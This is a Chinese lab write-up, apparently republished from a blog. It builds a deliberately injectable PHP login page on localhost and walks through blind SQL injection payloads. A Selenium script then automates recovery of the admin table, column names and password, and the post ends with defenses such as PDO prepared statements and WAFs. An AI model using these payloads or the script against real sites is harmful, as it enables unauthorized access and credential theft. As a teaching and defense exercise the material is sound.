通过SQL注入获得网站后台用户密码

news/2024/5/11 13:32:27/文章来源:https://blog.csdn.net/weixin_43387647/article/details/106266092

文章目录

    • 一、实验目的
    • 二、实验准备
    • 三、实验内容
    • 四、WAMP服务器搭建步骤
      • 1. 安装wamp,启动所有服务,“start all services”
      • 2. 通过phpmyadmin,新建数据库test,创建admin管理员账号表,并添加相应的账户名和密码
      • 3. 将login.php和verify.phpf放入wamp的www文件夹
    • 五、SQL注入的详细步骤
      • 1. 验证存在SQL注入漏洞
      • 2. 接下来可以猜测管理员帐号表
      • 3. 接下来猜测表中字段
      • 4. 接下来确定用户名的长度
      • 5. 接下来确定用户名
      • 6. 确定用户名对应的密码
    • 六、意外情况
      • 1. sqli与sql不同
      • 2. 同时有多个用户名都满足要求
    • 七、源码及运行结果
    • 八、防范SQL注入的方案
      • 1.代码层面
      • 2. 网络层面

一、实验目的

通过 SQL 注入攻击,掌握网站的工作机制,认识到 SQL 注入攻击的防范措施,加强对 Web 攻击的防范。

二、实验准备

(1)了解网站的运行机制和原理。

(2)了解 asp、php、jsp 或者 asp.net 语言的工作原理。

(3)熟悉数据库 SQL 语言。

(4)在 Internet 上搜索 SQL 注入的相关文章,学习 SQL 注入的原理和方法。

三、实验内容

通过模拟 SQL 注入攻击获得某网站后台登陆密码。

(1)通过本地服务器搭建模拟网站。

(2)测试其是否存在SQL注入漏洞,进行模拟攻击。

(3)获得后台数据库中的存储网站用户和密码的数据表。

(4)获得其中一对用户名和密码。

(6)用获得的用户名和密码验证是否能够登陆。

(7)为这个网站的SQL注入漏洞提出解决方案和防范方法。

(8)使用seleium库撰写python爬虫脚本,自动获取SQL管理员的用户名和密码。

四、WAMP服务器搭建步骤

1. 安装wamp,启动所有服务,“start all services”

在这里插入图片描述

2. 通过phpmyadmin,新建数据库test,创建admin管理员账号表,并添加相应的账户名和密码

在这里插入图片描述

3. 将login.php和verify.phpf放入wamp的www文件夹

其中login.php如下:

<html><head><title>Sql注入演示</title><meta http-equiv="content-type" content="text/html;charset=utf-8"></head><body ><form action="verify.php" method="post"><fieldset ><legend>Sql注入演示</legend><table><tr><td>用户名:</td><td><input type="text" name="username"></td></tr><tr><td>密  码:</td><td><input type="text" name="password"></td></tr><tr><td><input type="submit" value="提交"></td><td><input type="reset" value="重置"></td></tr></table></fieldset></form></body>
</html>

verify.php如下:

<html><head><title>登录验证</title><meta http-equiv="content-type" content="text/html;charset=utf-8"></head><body>
<?php$conn=@mysql_connect('127.0.0.1:3306','root','') or die("数据库连接失败!");mysql_select_db("test",$conn) or die("您要选择的数据库不存在");//修改成数据名,此处为test$name=$_POST['username'];$pwd=$_POST['password'];$sql="select * from admin where username='$name' and password='$pwd'";//修改成表名,此处为users$query=mysql_query($sql);$arr=mysql_fetch_array($query);if(is_array($arr)){echo "<script>alert('登录成功')</script>";}else{echo "您的用户名或密码输入有误,<a href=\"login.php\">请重新登录!</a>";}
?></body>
</html>

浏览器打开http://localhost/login.php即可看到登录页面。

在这里插入图片描述

五、SQL注入的详细步骤

1. 验证存在SQL注入漏洞

用户名输入’ or 1=1#密码无论输入什么,均可以正确登陆:

原因是sql语句变成了:select * from admin where username=’’ or 1=1#’ and password=‘123’,任意数据库的记录都满足该条件,因此arr是有效的。

输入’ and 1=1# 会返回账号错误,但是不会报错退出,因为sql语句仍然是有效的。

以上步骤确定了数据库存在SQL注入漏洞,并可以通过此漏洞进行用户名密码的获取。

2. 接下来可以猜测管理员帐号表

用户名填' or exists (select * from admin)#

SQL语句变成:select * from admin where username='' or exists (select * from admin)#'...如果登陆成功,说明数据库中确实有对应的admin表格,而且很有可能是管理员帐号表。

在此列举可能的管理员账号表用于猜测:name_list = ['admin', 'admins', 'account', 'adminInfo', 'user', 'users', 'userInfo']

' and exists (select * from admin)# 也可以用来猜测,如果没有出现如下图的异常,说明数据库中确实有对应的表名

3. 接下来猜测表中字段

根据已有的表名admin进行猜测其可能有的字段,一般的管理员表格都是通过id, username, password来登陆的。

输入' and exists (select id from admin) #没有异常,即:select * from admin where username='' and exists (select id from admin)#' ... 可以执行,说明数据库中确实有id字段

同样的,可以猜测有password, username两个字段

4. 接下来确定用户名的长度

以下其他信息的获取与上面有所不同。因为使用查询不存在的表名与字段名,SQL语句均会报错,而查询不存在的用户名与密码时,SQL语句只会返回空的结果,于是exits语句返回为False。页面正常但返回用户名错误,只有将exist前的and换为or才能分辨两者的区别。

' or exists (select id from admin where id=4) # 选择可能存在的id号,能够正确登陆。

' or exists (select id from admin where length(username)<6 and id=4) # 用于猜测对应的用户名长度范围(可用2分法)

' or exists (select id from admin where length(username)=5 and id=1) # 用于精确猜测对应的用户名长度

5. 接下来确定用户名

' or 4=(select id from admin where mid(username,1,1)='d')# 截取用户名的第一位,猜测对应的值,相当于以下sql语句:

select * from admin where username='' and 4=(select id from admin where mid(username,1,1)='d')# ...

其中mid(username,1,1)表示截取username从第1位开始长度为1 的部分,即用户名的第一位,同样试出对应的第二位(mid(username,2,1))到第五位,是david,可用填入以下验证:

' or 1=(select id from admin where username='david')

6. 确定用户名对应的密码

同样的可以通过对应的id号码试出密码:anekeyzzz456。于是得到了后台的一个用户名和密码。

六、意外情况

1. sqli与sql不同

verify.php中$conn=@mysql_connect('127.0.0.1:3306','root','') or die("数据库连接失败!");若使用mysqli_connect就会出以下问题:

并不是因为数据库不存在,而是根本就没有正确连上数据库。经过修改以后,输入数据库中存在的admin/password能够正确登陆。

2. 同时有多个用户名都满足要求

我们尝试select * from admin where username='' or 4=(select id from admin where mid(username,1,1)='d')#时,如果首字母开头为d的用户名有两个,则sql语句发生错误:

在这里插入图片描述

因为一个不可能与两个相等,这时,我们必须要设置id是后面的子集才能成功。所以使用到in:

在这里插入图片描述

七、源码及运行结果

使用python的selenium库进行自动化爬虫,按照以上步骤进行自动化尝试。

import timefrom selenium import webdriver
from selenium.common.exceptions import NoAlertPresentException
from selenium.webdriver.chrome.options import Optionsclass Webber:interval = 0chrome_options = Options()chrome_options.add_argument('--headless')alpha_dict = [chr(x) for x in list(range(97, 123))+list(range(65,91))+list(range(48,58))]def __init__(self, url):self.url = urlself.driver = webdriver.Chrome()self.driver.get(url)def get_path(self):try:return self.driver.find_element_by_name('username')except:return self.driver.find_element_by_name('user_login')def login(self):self.driver.find_element_by_xpath('/html/body/form/fieldset/table/tbody/tr[3]/td[1]/input').click()def alert_is_present(self):  # 弹窗代表登陆成功,否则进入异常或错误页面。注意返回正常登陆页面try:alert = self.driver.switch_to.alertalert.accept()return Trueexcept NoAlertPresentException:return Falsefinally:self.roll_back()def roll_back(self):self.driver.back()time.sleep(web.interval)def try_value(self, value):self.get_path().clear()self.get_path().send_keys(value)time.sleep(web.interval)self.login()time.sleep(web.interval)return self.alert_is_present()def get_table_name(self):name_list = ['admin', 'admins', 'account', 'adminInfo', 'user', 'users', 'userInfo']for name in name_list:if self.try_value("' or exists (select * from " + name + ")#"):return namereturn Nonedef try_field_name(self, table, field):return self.try_value("' or exists (select " + field + " from " + table + ")#")def get_field_name(self, table):field_list = ['id', 'username', 'password', 'user_login', 'user_password']list_ = []for field in field_list:if self.try_field_name(table, field):list_.append(field)print("fields in table are: " + str(list_))return list_def has_id(self, table, id):return self.try_value("' or exists (select id from " + table + " where id=" + id + ")#")# 尝试用户名的长度 [m,M] 之间def try_field_length(self, table, id, m, M, field):return self.try_value("' or exists (select id from " + table + " where id=" + id + " and length("+field+")>=" + str(m) + " and length("+field+")<=" + str(M) + ")#")def get_field_length(self, table, id, field):m = 0M = 100assert self.try_field_length(table, id, m, M, field)while m < M:print(m, M)mid = int((m+M)/2)if self.try_field_length(table, id, m, mid, field):M = midelse:m = mid + 1assert m == Mreturn mdef try_field_i(self, table, id, i, field):for t in Webber.alpha_dict:if self.try_value("' or "+id+" in (select id from "+table+" where mid("+field+","+str(i)+",1)='"+t+"')#"):return traise Exception("no such alpha!")def get_field(self, table, id, length, field):field_str = ""for i in range(1, length+1):print(i, end=': ')ch = self.try_field_i(table, id, i, field)print(ch)field_str += chreturn field_strif __name__ == '__main__':web = Webber('http://localhost/login.php')time.sleep(web.interval)# 1. 验证存在SQL注入漏洞'if not web.try_value("' or 1=1#"):print("this website doesn't have sql")else:# 2. 接下来可以猜测管理员帐号表table = web.get_table_name()assert tableprint('table name is: ' + table)# 3. 接下来猜测表中字段assert {'id', 'username', 'password'} <= set(web.get_field_name(table))# 4. 接下来确定用户名的长度# 下面以 id =4 为例尝试其用户名与密码assert web.has_id(table, '4')l = web.get_field_length(table, '4', 'username')print("length of username(4) is: " + str(l))# 5. 接下来确定用户名username = web.get_field(table, '4', l, 'username')print("username(4) is: " + username)# 6. 确定用户名对应的密码l = web.get_field_length(table, '4', 'password')print("length of password(4) is: " + str(l))password = web.get_field(table, '4', l, 'password')print("password(4) is: " + password)

运行结果如下:运行代码进行暴力尝试,运行大概1分钟,获取了id=4对应的用户名 david以及密码anekeyzzz456

table name is: admin
fields in table are: ['id', 'username', 'password']
0 100
0 50
0 25
0 12
0 6
4 6
4 5
length of id(4) is: 5
1: d
2: a
3: v
4: i
5: d
username of id(4) is: david
0 100
0 50
0 25
0 12
7 12
10 12
length of id(4) is: 12
1: a
2: n
3: e
4: k
5: e
6: y
7: z
8: z
9: z
10: 4
11: 5
12: 6
password of id(4) is: anekeyzzz456

八、防范SQL注入的方案

1.代码层面

当数据库对用户在客户端的输入字符或语句不加限制的读取到并执行时,就产生了sql注入漏洞,自然的当数据库对客户端的输入进行了相关的限制和过滤后,使用预处理和参数化,sql注入的风险会大大降低。

利用sql自身所带的转义函数,可以把获取到的客户端语句进行相应的转义。

当然也可以进行过滤,既然测试者在构造payload时需要相关的字符,那将这些字符过滤掉确实是一种方法(当绝不是最好的,因为数据库的更新换代导致字符绝不是一层不变的。)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KqKutYer-1590061281214)()]

2. 网络层面

自然是使用相应的安全设备,例如WAF设备启用防SQL Inject注入策略,云端防护(著名的阿里云盾)等

至于什么是好的方法,这里展示专业人员推荐的方法

PDO即统一的数据库访问接口。它可以防止前端传进来的参数被拼接到sql语句的情况。

正如上图所示,它会将前端输入的参数用占位符“?”来代替,并把这条语句结果先和数据库进行交付,再传参。而不是一起传进去。也就避免了不加节制的拼接前端语句

既然网站服务器存在sql注入漏洞,测试者可以通过相关payload来遍历数据,那在客户端和web 服务之间架一堵防火墙也不失为一种好的方法。一旦访问中存在恶意的字符就会被阻断掉。当然防火墙的设置并不代表后台服务器就允许存在sql注入漏洞,这两者是一种动态的关系需要同时推进。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_903200.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

关于网站静态文件隔离的解决方案

关于网站静态文件隔离的解决方案 问题: 目前我们网站的物理结构是将服务或应用程序安装到多台服务器上&#xff0c;并将这些服务器配置为共享工作负荷。负载平衡通过将客户端请求分散在多台服务器上&#xff0c;从而提高了基于服务器的程序&#xff08;如 Web 服务器&#xff0…

小网站推荐

1、阿里巴巴矢量图标字体库 网址&#xff1a;https://www.iconfont.cn/ 2、给网站添加全网分享 网址&#xff1a;http://www.bshare.cn/ 3、免费素材照片网站 网址&#xff1a;https://www.pexels.com/zh-cn/ 4、免费图片压缩神器 网址&#xff1a;https://tinypng.com/ 5、…

lnmp实现搭建商城网站

lnmp:即linux nginx mysql php 实验环境&#xff1a;在centos7上实现搭建lnmp 1、首先安装各个程序包 yum install mariadb-server nginx php-fpm pfp-mysql 2、将事先准备好的xiaomi相关压缩包上传且解压缩 [rootlocalhost ~]# mkdir -p /data/web/ [rootlocalhost ~]# u…

在线学习网站页面制作

确定页面的版心 /*版心*/ .w {width: 1200px;margin: auto; }制作header header高度&#xff1a;42px 整个header分为四部分 logo nav search user 基本结构: <!--header头部模块开始--><div class"header w"><div class"logo"><!…

给你的网站加上站内搜索---Spring+Hibernate基于Compass(基于Lucene)实现

给你的网站加上站内搜索---Compass入门教程 syxChina(syxchina.cnblogs.com) Compass(基于Lucene)入门教程 1 序言 2 Compass介绍 3 单独使用Compass 4 springhibernate继承compass 4-1 jar包 4-2 配置文件 4-3 源代码 4-4 说明 4-5 测试 5 总结下吧 1 序言 这些…

提高网站打开速度的7大秘籍 http://lusongsong.com/reed/360.html

很多站长使用虚拟主机来做网站&#xff0c;网页内容一旦很多&#xff0c;网站打开速度就会特别慢&#xff0c;如果说服务器、带宽、CDN这类硬指标我们没有经济实力去做&#xff0c;不妨通过网页代码优化的方式来提高速度&#xff0c;卢松松总结了一些可行性的方法。 1: 缩小Jav…

搭建 ngrok 服务实现外网访问局域网内的网站

本文转自 http://www.itjiaoshou.com/ngrok-access-website-in-lan.html 一般情况下&#xff0c;家庭用户使用的电信宽带服务是没有固定 IP 的&#xff0c;某些企业客户即使给分配了一个固定 IP 也不允许对外暴露 80 端口&#xff08;要是每个公司内部就能提供 web 服务&#x…

从前端出发做好SEO需要考虑什么

一、背景介绍 什么是SEO&#xff1f; SEO由英文Search Engine Optimization缩写而来&#xff0c;中文意译为“搜索引擎优化”。 其实叫做针对搜索引擎优化更容易理解。它是指从自然搜索结果获得网站流量的技术和过程&#xff0c;是在了解搜索引擎自然排名机制的基 础上&…

码云GitHub新建仓库repositories,github建立自己的网站

github和国内的码云的新建大同小异。 话不多说 网址 github的地址 首先创建自己的账户 需要密码复杂一些 邮箱验证 验证成功后 右上角点击 new repository 第一个箭头处 填跟自己用户一样的名字.github.io 如 xxx.github.io 之后public private 都行 我选的是public…

阿里云ECS服务器搭建静态网站

首先如下图购买阿里云的云翼计划的学生机&#xff0c;选择云服务器ECS&#xff0c;预装环境选择CentOS。网址为https://promotion.aliyun.com/ntms/act/campus2018.html。 注意设置root用户的登陆密码&#xff0c;需要记录&#xff0c;等下会用到。 还需要记录远程连接密码。 …

用Dreamweaver实现网站批量更新

在Dreamweaver 4.0中&#xff0c;我们就已接触了模板与库的概念&#xff0c;知道它们是批量生成风格类似的网页的好工具。如今在Dreamweaver MX(以下简称DW MX)中&#xff0c;模板与库的功能得到了进一步细化与加强&#xff0c;尤其是实现关联网页自动更新的特点&#xff0c;使…

50毫秒就判断网站设计好坏

【摘 要】加拿大渥太华卡尔顿大学的研究人员发现&#xff0c;人的大脑将在首次看到一个网页后的二十分之一秒的时间内判断其质量 1月17日消息&#xff0c;据一项新的研究显示&#xff0c;浏览互联网的用户通常会在极短的时间内判断一个网站的质量。 加拿大渥太华卡尔顿大学的…

探讨国外网站设计动用的成本,网页设计师必看

【摘 要】我们都承认国外的网站设计价格高&#xff0c;同样一个看似简单的网站价格是国内几倍或者数倍。通过此文&#xff0c;希望国内的网站设计师同行稍稍静下心来&#xff0c;不要浮躁... 同样是一个网站设计&#xff0c;国外的设计却蕴涵了设计背后的更多东西&#xff0c…

网站设计理念 形成视觉冲击的几种方式

【摘 要】构图&#xff0c;从广义上讲&#xff0c;是指形象或符号对空间占有的状况。 因此理应包括一切立体和平面的造型&#xff0c;但立体的造型由于视角的可变&#xff0c;使其空间占有状况如果用固定的方法阐述&#xff0c;就显得不够全面 1&#xff1a;构图图形的层次感…

Windows以及Chrome浏览器的一些使用技巧,快捷键,盲打练习网站分享

文章目录 Windows使用技巧Chrome使用技巧关于盲打 Windows使用技巧 用户目录以及桌面等文件夹的移动 用户目录在C盘-用户文件夹 然后可以找到我们自己命名过的文件夹&#xff0c;默认是administer&#xff0c;里面有桌面、下载、文档之类的文件夹&#xff0c;桌面就是我们的电脑…

优化网站性能 提高网站速度访问速度的14条实践

关键字: 优化网站性能 提高网站速度访问速度的14条实践 相信互联网已经越来越成为人们生活中不可或缺的一部分。ajax&#xff0c;flex等等富客户端的应用使得人们越加“幸福”地体验着许多原先只能在C/S实现的功能。比如Google机会已经把最基本的office应用都搬到了互联网上。当…

数据结构可视化网站https://visualgo.net/zh如何注册

数据结构可视化网站https://visualgo.net/zh qq邮箱注册的时候要去掉确认链接后的点。M后面的点要去掉。

[源码和文档分享]基于JavaScript和MySQL的文化平台网站的设计与实现

摘要 中国文化源远流长&#xff0c;自古就有文人雅士作诗赋词&#xff0c;舞文弄墨&#xff0c;尽显风雅。现今则有歌手作家思想成文&#xff0c;心绪为曲&#xff0c;亦现儒雅。文化是传承的&#xff0c;是流传不息的&#xff0c;也是众多人所追求的。从各种各样的文化中&…

[源码和文档分享]基于C#和SQL SERVER的校园知识问答论坛网站的设计与实现

摘 要 本文使用Asp.Net Core 和MsSqlServer技术&#xff0c;详细说明开发校园知识论坛系统的开发。校园知识论坛系统是基本B/S模式的一种交互性极强的电子信息服务系统。它为使用者提供一个交流的平台&#xff0c;每一个用户都可以在上面问答知识&#xff0c;获取信息&#xf…